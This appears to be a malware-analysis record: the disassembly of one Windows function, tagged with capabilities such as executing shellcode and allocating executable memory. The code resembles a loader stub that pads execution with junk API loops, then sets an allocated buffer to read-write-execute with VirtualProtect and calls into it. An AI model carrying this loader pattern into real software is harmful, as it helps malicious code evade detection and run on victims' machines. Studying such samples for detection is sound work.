Function at 0x431250
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create mailslot
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x438206
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x21b0
call fcn.0040d450
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [sym.imp.GDI32.dll_SetBkColor]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e330
jge 0x43129e
call ebx
push edi
push edi
call ebp
cmp esi, 0x1e9a5eb2
jle 0x4312ba
cmp dword [esp + 0x10], 0xbf2068
je 0x4312ba
cmp dword [esp + 0x54], 0x926a1a8
jne 0x4312c3
inc esi
cmp esi, 0x98a0a
jl 0x431290
cmp dword [0x25a1ab4], 0xcf8
jne 0x4313c9
push edi
push edi
push edi
call fcn.00405131
add esp, 0xc
push 0x403364
push edi
call fcn.00405131
push edi
push edi
push edi
push edi
call fcn.00404dee
push edi
call fcn.004050f6
add esp, 0x1c
push edi
push edi
call fcn.0040489c
push edi
call fcn.00405126
add esp, 0xc
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x21cc], edi
xor eax, eax
mov dword [esp + 0x5c], 0xf
mov dword [esp + 0x58], edi
mov byte [esp + 0x48], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x431334
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x43134e
push 0x4036cc
call fcn.004047fb
cmp esi, 0xf
jbe 0x431361
push edi
push esi
lea eax, [esp + 0x50]
push eax
call fcn.00404610
jmp 0x43136e
cmp esi, edi
jne 0x431370
mov dword [esp + 0x58], edi
mov byte [esp + 0x48], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x4313ab
mov eax, dword [esp + 0x48]
cmp dword [esp + 0x5c], ebx
jae 0x43138a
lea eax, [esp + 0x48]
push esi
push edi
push eax
call fcn.00409680
mov eax, dword [esp + 0x54]
add esp, 0xc
mov dword [esp + 0x58], esi
cmp dword [esp + 0x5c], ebx
jae 0x4313a7
lea eax, [esp + 0x48]
mov byte [eax + esi], 0
cmp dword [esp + 0x5c], ebx
jb 0x4313be
mov ecx, dword [esp + 0x48]
push ecx
call fcn.004051ee
add esp, 4
call fcn.00404869
push edi
call fcn.004050a4
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x408
jne 0x4313f3
mov eax, 0x5d1
add dword [0x25a1ab4], eax
cmp dword [0x25a1ab4], 3
jne 0x431410
push 0
call edi
push 0
call ebx
push 0
lea edx, [esp + 0x5c4]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x4313e0
mov eax, dword [0x25a1ab4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x457844], eax
mov eax, dword [0x25a1ab4]
xor esi, esi
test eax, eax
je 0x43147d
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp eax, 0xfe
jne 0x431450
push 0
call edi
call ebx
call fcn.00430f00
mov eax, dword [0x25a1ab4]
cmp eax, 0x29
jne 0x431478
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x403370
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov eax, dword [0x25a1ab4]
inc esi
cmp esi, eax
jb 0x431443
cmp eax, 0x70
jne 0x431575
push 0x4033cc
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov esi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x4315c8
push 0
lea eax, [esp + 0x38]
push eax
push 0
lea ecx, [esp + 0x1cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x25a1ab4]
cmp eax, 0xdf
jne 0x4316d6
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403578
call edi
push 0x403598
push 0
push 0
call ebp
lea eax, [esp + 0x38]
push eax
push 0x4035ec
push 0
call ebx
xor eax, eax
lea ecx, [esp + 0x40]
push ecx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0x403614
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea edx, [esp + 0x3c]
push edx
push 0
lea eax, [esp + 0x1c8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x403634
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0x5c4]
push edx
push 0x403640
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x9c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x50]
push 0
push edx
mov dword [esp + 0x54], 0
call fcn.00409600
add esp, 0xc
push 0
lea eax, [esp + 0x4c]
push eax
push 0x403658
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x25a1ab4]
dec dword [esp + 0x10]
jne 0x431595
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x4316f7
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
jmp 0x431720
cmp dword [0x25a1ab4], 0x222
jne 0x431730
push 0
call esi
dec edi
jne 0x431720
mov edx, dword [0x25a1ab4]
mov eax, dword [0x457844]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
mov byte [0x452ab0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00431200
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
mov ebx, 0xba
cmp dword [0x25a1ab4], ebx
jne 0x43177e
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x20]
push edx
push 0
call edi
cmp esi, 0x2f64
jne 0x431790
add dword [0x457844], 0
inc esi
cmp esi, 0x1605a
jl 0x431766
call fcn.004311a0
cmp dword [0x25a1ab4], 0xc30
jne 0x43185a
lea eax, [esp + 0x9c0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x80]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea edx, [esp + 0x19c4]
push edx
push 0
push 0x4036c4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea eax, [esp + 0x18]
push eax
push 0
lea ecx, [esp + 0x1cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea edx, [esp + 0x11c4]
push edx
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, dword [esp + 0x21c4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret